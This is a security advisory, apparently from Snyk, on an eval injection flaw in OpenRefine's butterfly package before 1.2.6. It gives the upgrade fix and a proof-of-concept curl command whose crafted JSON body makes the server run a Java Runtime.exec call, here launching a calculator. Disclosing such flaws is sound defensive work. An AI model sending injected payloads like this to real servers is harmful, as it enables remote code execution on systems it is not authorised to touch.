Eval Injection Affecting org.openrefine.dependencies:butterfly package, versions [,1.2.6)
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGOPENREFINEDEPENDENCIES-8304162
- published 25 Oct 2024
- disclosed 24 Oct 2024
- credit Unknown
How to fix?
Upgrade org.openrefine.dependencies:butterfly
to version 1.2.6 or higher.
Overview
Affected versions of this package are vulnerable to Eval Injection through the parseJSON
and getJSON
functions. An attacker can execute arbitrary code on the server by supplying crafted input that manipulates the evaluation process.
PoC
curl -H 'Content-Type: application/json;charset=utf-8' --data $'"\\\u200d\\", Packages.java.lang.Runtime.getRuntime().exec(\'gnome-calculator\')) // "' http://localhost:3333/getjsontest